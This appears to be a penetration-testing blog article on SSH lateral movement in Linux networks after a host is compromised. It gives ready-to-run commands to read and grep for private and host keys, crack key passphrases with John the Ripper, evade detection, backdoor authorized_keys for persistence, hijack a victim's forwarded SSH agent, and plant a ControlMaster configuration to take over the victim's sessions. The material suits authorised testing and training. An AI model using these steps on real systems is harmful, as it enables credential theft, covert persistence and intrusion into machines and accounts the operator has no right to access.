What is a Lateral Movement

A lateral movement typically occurs after a host has been compromised via a reverse shell, and foothold in the network is obtained. Fully compromising the target machine by performing Linux privilege escalation or Windows privilege escalation could be advantageous due to the increased access to files or operating system functionality leveraged by a root level account.

This article focuses specifically on SSH lateral movement techniques on Linux.

SSH Lateral Movement

SSH private keys are typically an easy way to progress through the network, and are often found with poor permissions or duplicated in home directories. This article does not cover SSH pivoting in depth, we have a separate resource for SSH pivoting.

Enumerate Non UNIX Based Hosts for Private Keys

SSH is not specific to UNIX based operating systems, consider enumerating Windows target for SSH private keys.

Manually Look for SSH Keys

Check home directories and obvious locations for private key files:

cat /root/.ssh/authorized\_keys 
cat /root/.ssh/identity.pub 
cat /root/.ssh/identity 
cat /root/.ssh/id\_rsa.pub 
cat /root/.ssh/id\_rsa 
cat /root/.ssh/id\_dsa.pub 
cat /root/.ssh/id\_dsa 
cat /etc/ssh/ssh\_config 
cat /etc/ssh/sshd\_config 
cat /etc/ssh/ssh\_host\_dsa\_key.pub 
cat /etc/ssh/ssh\_host\_dsa\_key 
cat /etc/ssh/ssh\_host\_rsa\_key.pub 
cat /etc/ssh/ssh\_host\_rsa\_key 
cat /etc/ssh/ssh\_host\_key.pub 
cat /etc/ssh/ssh\_host\_key
cat ~/.ssh/authorized\_keys 
cat ~/.ssh/identity.pub 
cat ~/.ssh/identity 
cat ~/.ssh/id\_rsa.pub 
cat ~/.ssh/id\_rsa 
cat ~/.ssh/id\_dsa.pub 
cat ~/.ssh/id\_dsa 

Search For Files Containing SSH Keys

grep -ir "-----BEGIN RSA PRIVATE KEY-----" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /home/*


Identify The Host for the Key

Hashed known_hosts

Modern Linux systems may hash the known_hosts file entries to help prevent against enumeration.

If you find a key you then need to identify what server the key is for. In an attempt to idenitfy what host the key is for the following locations should be checked:


Cracking SSH Passphrase Keys

If the discovered SSH key is encrypted with a passphrase this can be cracked locally (much faster), below are several methods. If you have access to a GPU hashcat should be leveraged to improve the cracking time.

Cracking SSH Passphrase with John the Ripper

John the Ripper has a function to convert he key to a hash called john2hash.py and comes pre installed on Kali.

  1. Convert the hash: python /usr/share/john/ssh2john.py id_rsa > id_rsa.hash-john
  2. Use a comprehensive wordlist: john –wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash-john
  3. Wait and hope
Help Avoid Detection

Avoid directly connecting from a unknown host to the target SSH server, use an already known host to help prevent detection alerts being issued.

SSH Passphrase Backdoor

While you have access to the compromised host, it is typically a good idea to backdoor the SSH authorized_keys file which will allow for passwordless login at a point in the future. This should provide an easier and more reliable connection than exploiting and accessing via a reverse shell; and potentially reduce the risk of detection.

Adding the key is simply a case of paste a SSH public key, generated on your attacking machine and pasting it into the ~/ssh/authorized_keys file on the compromised machine.

  1. run ssh-keygen -t rsa -b 4096
  2. cat id_rsa.pub and copy the file contents
  3. echo “SSH key data” » ~/.ssh/authorized_keys
  4. Test you can connect using the private key without being prompted for a password

SSH Agent Forwarding Hijacking

Starting point: You have SSH already backdoored the compromised host by adding your public key to the ~/.authorized_keys file.

How SSH Agent Works

SSH agent works by allowing the Intermediary machine to pass-through (forward) your SSH key from your client to the next downstream server, allowing the machine in the middle (potentially a bastion host) to use your key without having physical access to your key as they are not stored on the intermediate host but simply forwarded on to the downstream target server.

  • Access the machine where the existing victim user session is established
  • Root level access to the machine where the victim session is established
  • A current victim SSH connection with agent forwarding enabled

Your Machine => Intermediary Host (forwards your key) => Downstream Machine

The Risk

The primary risk of using SSH Agent Forwarding is if the intermediatory machine is compromised, and the attacker has significant permissions they could, potentially use the established session socket to gain access to downstream servers.

How To Hijack SSH Agent Forwarding

Attacking Machine => Compromised Intermediary Host (with SSH Key) => Downsteam Machine (final destination)

SSH agent forwarding allows a user to connect to other machines without entering passwords. This functionality can be exploited to access any host the compromised users SSH key has access to (without having direct access to the keys), while there is an active session.

A potentially easier way to think of SSH agent forwarding, is to think of it as assigning the SSH key to the active SSH session, while the session is in place it is possible to access the SSH key and connect to other machines that the SSH key has access.

In order to exploit SSH agent forwarding an active session must be open between the user client (that you wish to hijack) and the compromised intermediary host. You will also require access to the host where the user is connected with superuser privileges (such as su - username, or sudo) to access the account running the active SSH session you wish to hijack.

If -A SSH Connection Fails

If -A fails to connect, perform the following: ```echo "ForwardingAgent yes" >> ~/.ssh/config``` to enable agent forwarding.

Client Instructions

Run the following on your local client machine:

You may need to create a new key, if so run ssh-add.

  1. Open an SSH connection using agent forwarding to the compromised host ssh -A user@compromsied-host
  2. Verify agent forwarding is working by using: ssh-add -l
  3. Obtain root: sudo -s
  4. Gain access to the account you wish to access: su - victim
  5. Access any SSH connection the private key of the victim has access

SSH Hijacking with ControlMaster

OpenSSH has a function called ControlMaster that enables the sharing of multiple sessions over a single network connection. Allowing you to connect to the server once and have all other subsequent SSH sessions use the initial connection.

In order to exploit SSH ControlMaster you first need shell level access to the target; you will then need sufficient privileges to modify the config of a user to enable the ControlMaster functionality.

  1. Gain shell level access to the target machine
  2. Access the victim users home directory and create / modify the file ~/.ssh/config
  3. Add the following configuration:
Host *

ControlMaster auto
ControlPersist yes
  1. ensure the master-socket directory exists if it does not, create it mkdir ~/.ssh/master-socket/
  2. Ensure the correct permissions are in place for the config file chmod 600 ~/.ssh/config
  3. Wait for the victim to login and establish a connection to another server
  4. View the directory created at step 4 to observe the socket file: ls -lat ~/.ssh/master-socket
  5. To hijack the existing connection ssh to user@hostname / IP listed in step 7

If you know of more techniques let me know on twitter @Arr0way